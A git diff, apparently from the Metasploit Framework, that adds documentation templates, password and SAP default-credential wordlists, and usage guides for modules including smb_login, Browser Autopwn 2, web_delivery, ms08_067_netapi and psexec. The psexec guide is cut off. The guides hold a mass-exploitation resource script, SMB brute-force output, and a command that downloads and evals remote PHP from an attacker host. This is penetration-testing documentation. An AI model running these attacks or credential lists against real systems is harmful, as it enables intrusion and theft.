+
+## Module Name
+
+<%= Rex::Text.html_encode(items[:mod_fullname]) %>
+
+## Authors
+
+<%= normalize_authors(items[:mod_authors]) %>
+
+<% unless items[:mod_platforms].empty? %>
+## Platforms
+<%= normalize_platforms(items[:mod_platforms]) %>
+<% end %>
+
+## Reliability
+
+<%= normalize_rank(items[:mod_rank]) %>
+
+## Related Pull Requests
+
+<%= normalize_pull_requests(items[:mod_pull_requests]) %>
+
+<% unless items[:mod_refs].empty? %>
+## References
+
+<%= normalize_references(items[:mod_refs]) %>
+<% end %>
+
+<% if items[:mod_targets] %>
+## Available Targets
+
+<%= normalize_targets(items[:mod_targets]) %>
+
+<% end %>
+
+## Required Options
+
+<% if normalize_options(items[:mod_options]).empty? %>
+No options required.
+<% else %>
+<%= normalize_options(items[:mod_options]) %>
+<% end %>
+
+## Basic Usage
+
+<%= normalize_demo_output(items[:mod_demo]) %>
\ No newline at end of file
diff --git a/data/markdown_doc/generic_demo_template.erb b/data/markdown_doc/generic_demo_template.erb
new file mode 100644
index 0000000000..fec7ccf244
--- /dev/null
+++ b/data/markdown_doc/generic_demo_template.erb
@@ -0,0 +1,9 @@
+```
+msf > use <%= mod.fullname %>
+msf <%= mod.type %>(<%= mod.shortname %>) > show targets
+ ... a list of targets ...
+msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
+msf <%= mod.type %>(<%= mod.shortname %>) > show options
+ ... show and set options ...
+msf <%= mod.type %>(<%= mod.shortname %>) > exploit
+```
\ No newline at end of file
diff --git a/data/markdown_doc/html_template.erb b/data/markdown_doc/html_template.erb
new file mode 100644
index 0000000000..ff5dbdcb08
--- /dev/null
+++ b/data/markdown_doc/html_template.erb
@@ -0,0 +1,54 @@
+
+
+<% unless kb.empty? %>
+
+<% end %>
+
+
+
+<% unless kb.empty? %>
+
+
+
+
Overview
+
+
+
Knowledge Base
+
+
+
+<% end %>
+
+<%= r.render(md) %>
+
+<% unless kb.empty? %>
+
+<%= r.render(kb) %>
+
+<% end %>
+
+
\ No newline at end of file
diff --git a/data/markdown_doc/httpserver_demo_template.erb b/data/markdown_doc/httpserver_demo_template.erb
new file mode 100644
index 0000000000..3d5737a95d
--- /dev/null
+++ b/data/markdown_doc/httpserver_demo_template.erb
@@ -0,0 +1,4 @@
+```
+msf > use <%= mod.fullname %>
+msf <%= mod.type %>(<%= mod.shortname %>) > exploit
+```
\ No newline at end of file
diff --git a/data/markdown_doc/localexploit_demo_template.erb b/data/markdown_doc/localexploit_demo_template.erb
new file mode 100644
index 0000000000..e7ac42287c
--- /dev/null
+++ b/data/markdown_doc/localexploit_demo_template.erb
@@ -0,0 +1,14 @@
+Note: To run a local exploit, make sure you are at the msf prompt.
+Also, to check the session ID, use the ```sessions``` command.
+
+
+```
+msf > use <%= mod.fullname %>
+msf <%= mod.type %>(<%= mod.shortname %>) > show targets
+ ... a list of targets ...
+msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
+msf <%= mod.type %>(<%= mod.shortname %>) > show options
+ ... show and set options ...
+msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id
+msf <%= mod.type %>(<%= mod.shortname %>) > exploit
+```
\ No newline at end of file
diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css
new file mode 100644
index 0000000000..abe2aec153
--- /dev/null
+++ b/data/markdown_doc/markdown.css
@@ -0,0 +1,258 @@
+h1, h2, h3, h4, h5, h6, p, blockquote {
+ margin: 0;
+ padding: 0;
+}
+body {
+ font-family: Arial, "Helvetica Neue", Helvetica, "Hiragino Sans GB", sans-serif;
+ font-size: 16px;
+ line-height: 18px;
+ color: #737373;
+ margin: 10px 13px 10px 13px;
+}
+a {
+ color: #0069d6;
+}
+a:hover {
+ color: #0050a3;
+ text-decoration: none;
+}
+a img {
+ border: none;
+}
+p {
+ margin-bottom: 16px;
+}
+h1, h2, h3, h4, h5, h6 {
+ color: #404040;
+ line-height: 36px;
+}
+h1 {
+ margin-bottom: 18px;
+ font-size: 30px;
+}
+h2 {
+ font-size: 24px;
+ margin-bottom: 16px;
+}
+h3 {
+ font-size: 18px;
+ margin-bottom: 16px;
+}
+h4 {
+ font-size: 16px;
+ margin-bottom: 16px;
+}
+h5 {
+ font-size: 16px;
+ margin-bottom: 16px;
+}
+h6 {
+ font-size: 13px;
+ margin-bottom: 16px;
+}
+hr {
+ margin: 0 0 19px;
+ border: 0;
+ border-bottom: 1px solid #eee;
+}
+blockquote {
+ padding: 13px 13px 21px 15px;
+ margin-bottom: 18px;
+ font-family:georgia,serif;
+ font-style: italic;
+}
+blockquote:before {
+ content:"\201C";
+ font-size:40px;
+ margin-left:-10px;
+ font-family:georgia,serif;
+ color:#eee;
+}
+blockquote p {
+ font-size: 16px;
+ font-weight: 300;
+ line-height: 18px;
+ margin-bottom: 0;
+ font-style: italic;
+}
+code, pre {
+ font-family: Monaco, Andale Mono, Courier New, monospace;
+}
+code {
+ background-color: #eee;
+ color: rgba(0, 0, 0, 0.75);
+ padding: 1px 3px;
+ font-size: 13px;
+ -webkit-border-radius: 3px;
+ -moz-border-radius: 3px;
+ border-radius: 3px;
+}
+pre {
+ display: block;
+ padding: 16px;
+ margin: 0 0 18px;
+ line-height: 16px;
+ font-size: 13px;
+ border: 1px solid #d9d9d9;
+ white-space: pre-wrap;
+ word-wrap: break-word;
+}
+pre code {
+ background-color: #fff;
+ color:#737373;
+ font-size: 13px;
+ padding: 0;
+}
+@media screen and (min-width: 768px) {
+ body {
+ width: 748px;
+ margin:10px auto;
+ }
+}
+#overview_info_button {
+ font-family:Arial, sans-serif;
+ font-size:16px;
+ padding:10px 5px;
+ border-style:solid;
+ border-width:1px;
+ border-color:#ccc;
+ color:#333;
+}
+#knowledge_base_button {
+ font-family:Arial, sans-serif;
+ font-size:16px;
+ padding:10px 5px;
+ border-style:solid;
+ border-width:1px;
+ border-color:#EEEEEE;
+ color:#C4C4C4;
+}
+#overview_info_button:hover, #knowledge_base_button:hover {
+ cursor: pointer;
+}
+#knowledge_base {
+ display: none;
+}
+#long_list {
+ height:280px;
+ overflow:auto;
+ border-style: solid;
+ border-width: 1px;
+ border-color: #ccc;
+ padding: 5px;
+}
+
+
+/*
+Description: Foundation 4 docs style for highlight.js
+Author: Dan Allen
+Website: http://foundation.zurb.com/docs/
+Version: 1.0
+Date: 2013-04-02
+*/
+
+pre code {
+ display: block; padding: 0.5em;
+ background: #eee;
+}
+
+pre .decorator,
+pre .annotation {
+ color: #000077;
+}
+
+pre .attribute {
+ color: #070;
+}
+
+pre .value,
+pre .string,
+pre .scss .value .string {
+ color: #d14;
+}
+
+pre .comment {
+ color: #998;
+ font-style: italic;
+}
+
+pre .function .title {
+ color: #900;
+}
+
+pre .class {
+ color: #458;
+}
+
+pre .id,
+pre .pseudo,
+pre .constant,
+pre .hexcolor {
+ color: teal;
+}
+
+pre .variable {
+ color: #336699;
+}
+
+pre .javadoc {
+ color: #997700;
+}
+
+pre .pi,
+pre .doctype {
+ color: #3344bb;
+}
+
+pre .number {
+ color: #099;
+}
+
+pre .important {
+ color: #f00;
+}
+
+pre .label {
+ color: #970;
+}
+
+pre .preprocessor {
+ color: #579;
+}
+
+pre .reserved,
+pre .keyword,
+pre .scss .value {
+ color: #000;
+}
+
+pre .regexp {
+ background-color: #fff0ff;
+ color: #880088;
+}
+
+pre .symbol {
+ color: #990073;
+}
+
+pre .symbol .string {
+ color: #a60;
+}
+
+pre .tag {
+ color: #007700;
+}
+
+pre .at_rule,
+pre .at_rule .keyword {
+ color: #088;
+}
+
+pre .at_rule .preprocessor {
+ color: #808;
+}
+
+pre .scss .tag,
+pre .scss .attribute {
+ color: #339;
+}
\ No newline at end of file
diff --git a/data/markdown_doc/payload_demo_template.erb b/data/markdown_doc/payload_demo_template.erb
new file mode 100644
index 0000000000..ff6620a3aa
--- /dev/null
+++ b/data/markdown_doc/payload_demo_template.erb
@@ -0,0 +1,8 @@
+```
+msf > use <%= mod.fullname %>
+msf <%= mod.type %>(<%= mod.shortname %>) > show options
+ ... show and set options ...
+msf <%= mod.type %>(<%= mod.shortname %>) > generate
+```
+
+To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).
\ No newline at end of file
diff --git a/data/markdown_doc/post_demo_template.erb b/data/markdown_doc/post_demo_template.erb
new file mode 100644
index 0000000000..a934269b06
--- /dev/null
+++ b/data/markdown_doc/post_demo_template.erb
@@ -0,0 +1,44 @@
+There are two ways to execute this post module.
+
+**From the Meterpreter prompt**
+
+The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post
+module against that specific session:
+
+```
+meterpreter > run <%= mod.fullname %>
+```
+
+**From the msf prompt**
+
+The second is by using the "use" command at the msf prompt. You will have to figure out which
+session ID to set manually. To list all session IDs, you can use the "sessions" command.
+
+
+```
+msf > use <%= mod.fullname %>
+msf <%= mod.type %>(<%= mod.shortname %>) > show options
+ ... show and set options ...
+msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id
+msf <%= mod.type %>(<%= mod.shortname %>) > exploit
+```
+
+If you wish to run the post against all sessions from framework, here is how:
+
+1 - Create the following resource script:
+
+```
+
+framework.sessions.each_pair do |sid, session|
+ run_single("use <%= mod.fullname %>")
+ run_single("set SESSION #{sid}")
+ run_single("run")
+end
+
+```
+
+2 - At the msf prompt, execute the above resource script:
+
+```
+msf > resource path-to-resource-script
+```
\ No newline at end of file
diff --git a/data/markdown_doc/remote_exploit_demo_template.erb b/data/markdown_doc/remote_exploit_demo_template.erb
new file mode 100644
index 0000000000..ea72c5480f
--- /dev/null
+++ b/data/markdown_doc/remote_exploit_demo_template.erb
@@ -0,0 +1,99 @@
+**Using <%= mod.shortname %> against a single host**
+
+Normally, you can use <%= mod.fullname %> this way:
+
+```
+msf > use <%= mod.fullname %>
+msf <%= mod.type %>(<%= mod.shortname %>) > show targets
+ ... a list of targets ...
+msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
+msf <%= mod.type %>(<%= mod.shortname %>) > show options
+ ... show and set options ...
+msf <%= mod.type %>(<%= mod.shortname %>) > exploit
+```
+
+**Using <%= mod.shortname %> against multiple hosts**
+
+But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
+
+First, create a list of IPs you wish to exploit with this module. One IP per line.
+
+Second, set up a background payload listener. This payload should be the same as the one your
+<%= mod.shortname %> will be using:
+
+1. Do: ```use exploit/multi/handler```
+2. Do: ```set PAYLOAD [payload]```
+3. Set other options required by the payload
+4. Do: ```set EXITONSESSION false```
+5. Do: ```run -j```
+
+At this point, you should have a payload listening.
+
+Next, create the following script. Notice you will probably need to modify the ip_list path, and
+payload options accordingly:
+
+```
+<ruby>
+#
+# Modify the path if necessary
+#
+ip_list = '/tmp/ip_list.txt'
+
+File.open(ip_list, 'rb').each_line do |ip|
+ print_status("Trying against #{ip}")
+ run_single("use <%= mod.fullname %>")
+ run_single("set RHOST #{ip}")
+ run_single("set DisablePayloadHandler true")
+
+ #
+ # Set a payload that's the same as the handler.
+ # You might also need to add more run_single commands to configure other
+ # payload options.
+ #
+ run_single("set PAYLOAD [payload name]")
+
+ run_single("run")
+end
+</ruby>
+```
+
+Next, run the resource script in the console:
+
+```
+msf > resource [path-to-resource-script]
+```
+
+And finally, you should see that the exploit is trying against those hosts similar to the following
+MS08-067 example:
+
+```
+msf > resource /tmp/exploit_hosts.rc
+[*] Processing /tmp/exploit_hosts.rc for ERB directives.
+[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
+[*] Trying against 192.168.1.80
+
+RHOST => 192.168.1.80
+DisablePayloadHandler => true
+PAYLOAD => windows/meterpreter/reverse_tcp
+LHOST => 192.168.1.199
+
+[*] 192.168.1.80:445 - Automatically detecting the target...
+[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
+[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
+[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
+[*] Sending stage (957999 bytes) to 192.168.1.80
+[*] Trying against 192.168.1.109
+RHOST => 192.168.1.109
+DisablePayloadHandler => true
+PAYLOAD => windows/meterpreter/reverse_tcp
+LHOST => 192.168.1.199
+[*] 192.168.1.109:445 - Automatically detecting the target...
+[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
+[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
+[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
+[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
+[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
+
+[*] Sending stage (957999 bytes) to 192.168.1.109
+[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
+```
diff --git a/data/wordlists/adobe_top100_pass.txt b/data/wordlists/adobe_top100_pass.txt
new file mode 100644
index 0000000000..f7d2a744be
--- /dev/null
+++ b/data/wordlists/adobe_top100_pass.txt
@@ -0,0 +1,100 @@
+123456
+123456789
+password
+adobe123
+12345678
+qwerty
+1234567
+111111
+photoshop
+123123
+1234567890
+000000
+abc123
+1234
+adobe1
+macromedia
+azerty
+iloveyou
+aaaaaa
+654321
+12345
+666666
+sunshine
+123321
+letmein
+monkey
+asdfgh
+password1
+shadow
+princess
+dragon
+adobeadobe
+daniel
+computer
+michael
+121212
+charlie
+master
+superman
+qwertyuiop
+112233
+asdfasdf
+jessica
+1q2w3e4r
+welcome
+1qaz2wsx
+987654321
+fdsa
+753951
+chocolate
+fuckyou
+soccer
+tigger
+asdasd
+thomas
+asdfghjkl
+internet
+michelle
+football
+123qwe
+zxcvbnm
+dreamweaver
+7777777
+maggie
+qazwsx
+baseball
+jennifer
+jordan
+abcd1234
+trustno1
+buster
+555555
+liverpool
+abc
+whatever
+11111111
+102030
+123123123
+andrea
+pepper
+nicole
+killer
+abcdef
+hannah
+test
+alexander
+andrew
+222222
+joshua
+freedom
+samsung
+asdfghj
+purple
+ginger
+123654
+matrix
+secret
+summer
+1q2w3e
+snoopy1
diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt
index 3f7a5321c3..752eb03d2b 100644
--- a/data/wordlists/sap_default.txt
+++ b/data/wordlists/sap_default.txt
@@ -16,4 +16,12 @@ SAPJSF ch4ngeme
SAPR3 SAP
CTB_ADMIN sap123
XMI_DEMO sap123
-
+IDEADM admin
+SMD_ADMIN init1234
+SMD_BI_RFC init1234
+SMD_RFC init1234
+SOLMAN_ADMIN init1234
+SOLMAN_BTC init1234
+SAPSUPPORT init1234
+CONTENTSERV init1234
+SMD_AGT init1234
diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md
new file mode 100644
index 0000000000..9db11819dd
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md
@@ -0,0 +1,41 @@
+The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP
+authentication.
+
+Please note that for Tomcat 7 or newer, the roles required to use the manager application were
+changed from the single manager role to the following four roles:
+
+* manager-gui - Allows access to the HTML GUI and the status pages.
+* manager-script - Allows access to the text interface and the status pages.
+* manager-jmx - Allows access to the JMX and the status pages.
+* manager-status - allows access to the status pages only.
+
+Older versions of Tomcat came with default passwords enabled by default. For example:
+
+**Tomcat 4**
+
+| Username | Password | Role |
+| -------- | -------- | ------------- |
+| tomcat | tomcat | tomcat |
+| role1 | tomcat | role1 |
+| both | tomcat | tomcat, role1 |
+
+**Tomcat 5**
+
+Same as Tomcat 4
+
+Newer Tomcat versions have these passwords commented out.
+
+If you are using the default Metasploit credential lists, these usernames and passwords are already
+loaded.
+
+
+## Vulnerable Application
+
+To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html.
+
+## Verification Steps
+
+1. Do: ```auxiliary/scanner/http/tomcat_mgr_login```
+2. Do: ```set RHOSTS [IP]```
+3. Set TARGETURI if necessary.
+4. Do: ```run```
diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md
new file mode 100644
index 0000000000..b2f9b7903a
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md
@@ -0,0 +1,117 @@
+The smb_login module is used to bruteforce SMB remotely. SMB credentials are extra valuable because they are system credentials, and you can probably reuse some of them to log in to more machines.
+
+## Vulnerable Application
+
+To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1.
+
+## Verification Steps
+
+The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB:
+
+```
+msf > use auxiliary/scanner/smb/smb_login
+msf auxiliary(smb_login) > set RHOSTS 192.168.1.80
+RHOSTS => 192.168.1.80
+msf auxiliary(smb_login) > set USER_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt
+USER_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt
+msf auxiliary(smb_login) > set PASS_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt
+PASS_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt
+msf auxiliary(smb_login) > run
+
+[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(smb_login) >
+```
+
+If you have a database connected, you should also see this credential logged:
+
+```
+msf auxiliary(smb_login) > creds
+Credentials
+===========
+
+host origin service public private realm private_type
+---- ------ ------- ------ ------- ----- ------------
+192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password
+
+msf auxiliary(smb_login)
+```
+
+## Options
+
+By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will
+also need to supply user names and passwords. The following options are available to support
+different credential formats:
+
+**The USER_FILE option**
+
+If you happen to manage all the found user names in a separate file, then this option would be
+suitable for that. One per line.
+
+An example of setting USER_FILE:
+
+```
+set USER_FILE [path to file]
+```
+
+**The PASS_FILE option**
+
+If you happen to manage all the found passwords in a separate file, then this option would be
+suitable for that. One per line.
+
+```
+set PASS_FILE [path to file]
+```
+
+**The USERPASS_FILE option**
+
+If each user should be using a specific password in your file, then you can use this option. One
+username/password per line:
+
+```
+set USERPASS_FILE [path to file]
+```
+
+**The DB_ALL_CREDS option**
+
+This option allows you to reuse all the user names and passwords collected by the database:
+
+```
+set DB_ALL_CREDS true
+```
+
+**The DB_ALL_PASS option**
+
+This option allows you to reuse all the passwords collected by the database.
+
+```
+set DB_ALL_PASS true
+```
+
+**The DB_ALL_USERS option**
+
+This option allows you to reuse all the user names collected by the database.
+
+```
+set DB_ALL_USERS true
+```
+
+**The SMBUser option**
+
+If you are testing a specific user, use this option.
+
+```
+set SMBUser [user name]
+```
+
+**The SMBPass option**
+
+If you are testing a specific password, use this option.
+
+```
+set SMBPass [password]
+```
+
+Note: If an account has been successfully brute-forced, that account will not be tried again.
+
diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md
new file mode 100644
index 0000000000..c09b71ff47
--- /dev/null
+++ b/documentation/modules/auxiliary/server/browser_autopwn2.md
@@ -0,0 +1,176 @@
+Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and
+feel different for you. Here are the features you should know about before using.
+
+## Vulnerable Applications
+
+Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as:
+
+* Internet Explorer
+* Mozilla Firefox
+* Adobe Flash
+* Java
+* ActiveX
+* Silverlight
+
+## Exploit URLs
+
+Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL
+you should send to the targets you wish to attack.
+
+For debugging purposes, you can also see each browser exploit's specific URL path. You can do so
+by setting the VERBOSE option to true in msfconsole, like this:
+
+```
+set VERBOSE true
+```
+
+And then when you run the module, there will be a list showing all the exploits that might be
+used, including the URLs.
+
+## Browser Autopwn 2 Options
+
+**The HTMLContent Option**
+
+The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a
+blank one. It supports two syntaxes.
+
+This example will basically print "Hello world!" on the browser while exploits are tested against
+it.
+
+```
+set HTMLContent Hello world!
+```
+
+This example will load file /tmp/hello_world.html and that's what the browser will see. Most likely
+the second syntax is how you'd want to use the Content option.
+
+Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise
+there is a possibility that it might actually influence the reliability of the exploits, especially
+the ones that do memory corruption.
+
+**The EXCLUDE_PATTERN option**
+
+The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser
+Autopwn 2 to use. This is a regex type option, you can be creative about this.
+
+For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with:
+"adobe_flash_", so to exclude those, you can do:
+
+```
+set EXCLUDE_PATTERN adobe_flash
+```
+
+**The INCLUDE_PATTERN option**
+
+The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use.
+Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do:
+
+```
+set INCLUDE_PATTERN adobe_flash
+```
+
+If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick
+in first, followed by EXCLUDE_PATTERN.
+
+**The MaxExploitCount option**
+
+The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load.
+By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits.
+Note that by doing so you are also allowing more lower ranking modules to kick in, you will have
+to figure out the sweet spot for it. An example of setting it:
+
+```
+set MaxExploitCount 30
+```
+
+**The MaxSessionCount option**
+
+The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at
+first because why would you want to do that, right? Well, a use case for this is when you don't
+actually want to pop shells, instead you just want to know what exploits could be used, this is
+something you can try. You can also use this if you don't want your attack to stay open the whole
+time:
+
+```
+set MaxSessionCount 10
+```
+
+**The ShowExploitList option**
+
+The ShowExploitList option means displaying a list of exploits specific to each browser/client.
+As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to
+the browser, only some of them. In order to see those ones, you need to set this option:
+
+```
+set ShowExploitList true
+```
+
+**The AllowedAddresses option**
+
+The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration
+testing accidents. For example, when you send a malicious link to a specific person, that person
+may actually share it with his friends, family or other people, and those people aren't your
+targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to
+avoid that is to create a whitelist.
+
+The option also supports two syntaxes. This is most likely how you will set it:
+
+```
+set AllowedAddresses file:///tmp/ip_list.txt
+```
+
+The above will load file ip_list.txt. In that file, one IP per line.
+
+
+**The ExploitReloadTimeout option**
+
+The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit.
+By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to
+groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this.
+In most cases, you shouldn't have to.
+
+Here's an example of setting it to 5 seconds:
+
+```
+set ExploitReloadTimeout 5000
+```
+
+## Scenarios
+
+By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use
+different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to
+test a specific application, basically all you need to do is setting the
+INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN).
+
+However, there is another trick to make this task even easier. BAP2 also comes with the following
+resource scripts that can automatically do this:
+
+* bap_firefox_only.rc - For testing Firefox
+* bap_flash_only.rc - Fore testing Adobe Flash
+* bap_ie_only.rc - For testing Internet Explorer
+* bap_dryrun_only.rc - Rickrolls the target, and shows you all the suitable exploits against that target. No exploits will actually be fired.
+
+Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities:
+
+```
+$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc
+```
+
+## Logging
+
+In addition, when a browser connects to BAP, this link-clicking event is also logged to the
+database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also
+save the exploit list information so that after testing you can go back to the database and see
+which users are vulnerable to what exploits.
+
+Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than
+enough to prove that the user was social-engineered, which is still a security risk.
+
+To see all the bap.clicks events, in msfconsole do:
+
+```
+notes -t bap.clicks
+```
+
+From there, you can do additional analysis of these notes, put it on your report, and hopefully
+do something about it.
diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md
new file mode 100644
index 0000000000..91c213f82d
--- /dev/null
+++ b/documentation/modules/exploit/multi/script/web_delivery.md
@@ -0,0 +1,76 @@
+As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
+
+Currently, web_delivery supports three different languages for delivery: Python, PHP, and
+Powershell. You should be able to tell which one you can use based on the target environment
+you are in.
+
+For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
+
+## Verification Steps
+
+To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
+
+At that point, you would use the web_delivery module like in the following example:
+
+1. Start msfconsole
+2. Run: ```use exploit/multi/script/web_delivery```
+3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options)
+4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target)
+5. Run: ```set LHOST IP``` (The IP the payload should connect back to)
+6. Do: ```run```
+7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
+8. Copy the command. Depending on your pentesting scenario, you can either inject the
+ command and get code execution, or run it from the target's shell and get a session:
+
+```
+msf exploit(web_delivery) > run
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 172.16.23.1:4444
+msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
+[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
+[*] Server started.
+[*] Run the following command on the target machine:
+php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));"
+[*] Delivering Payload
+[*] Sending stage (33684 bytes) to 172.16.23.134
+[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600
+```
+
+## Targets
+
+**Python**
+
+Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
+
+**PHP**
+
+PHP is a fairly popular language for web servers, especially Apache.
+
+**Powershell/Windows**
+
+Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2
+are the first Windows versions to come with Powershell by default. Older Windows systems such as XP
+don't come with it by default, but it is still possible to see it installed on a corporate network.
+
+## Scenarios
+
+**Against a compromised web application**
+
+web_delivery would work nicely for a web application with a command execution vulnerability.
+
+One way to approach this would be:
+
+1. Start exploit/multi/script/web_delivery
+2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
+3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
+
+**Shell upgrade**
+
+web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
+
+Here's how that can be done:
+
+1. Start exploit/multi/script/web_delivery that generates/
+2. In msfconsole, interact with the shell, and copy/paste the command.
+3. You should get a Meterpreter session.
diff --git a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md
new file mode 100644
index 0000000000..6af5b746ad
--- /dev/null
+++ b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md
@@ -0,0 +1,59 @@
+ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
+considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
+privilege. In modern day penetration test, this exploit would most likely be used in an internal
+environment, and not so much from external due to the likelihood of a firewall.
+
+The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
+vulnerable code path, not just passively.
+
+
+## Vulnerable Application
+
+This exploit works against a vulnerable SMB service from one of these Windows systems:
+
+* Windows 2000
+* Windows XP
+* Windows 2003
+
+To reliability determine whether the machine is vulnerable, you will have to either examine
+the system's patch level, or use a vulnerability check.
+
+## Verification Steps
+
+Please see Basic Usage under Overview.
+
+## Options
+
+Please see Required Options under Overview.
+
+## Scenarios
+
+**Failure to detect the language pack**
+
+On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this
+message:
+
+
+> Windows 2003 R2 Service Pack 2 - lang:Unknown
+
+
+This is because the targeted system does not allow itself to be enumerated without authentication.
+In this case, either you can set the username and password to be able to use automatic detection,
+like this:
+
+```
+set SMBUSER [username]
+set SMBPASS [password]
+```
+
+Or you must manually set the target with the correct language, for example:
+
+```
+set target [target ID]
+```
+
+**Unsafe configuration of LHOST**
+
+Although ms08_067_netapi is reliable enough for a memory corruption exploit, it has its own
+denial-of-service moments. One scenario is when the LHOST option is incorrectly configured,
+which could result the SMB to crash.
diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md
new file mode 100644
index 0000000000..de541f95b7
--- /dev/null
+++ b/documentation/modules/exploit/windows/smb/psexec.md
@@ -0,0 +1,120 @@
+psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network.
+
+The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way
+you normally would with any Metasploit exploits.
+
+
+## Vulnerable Application
+
+To be able to use exploit/windows/smb/psexec:
+
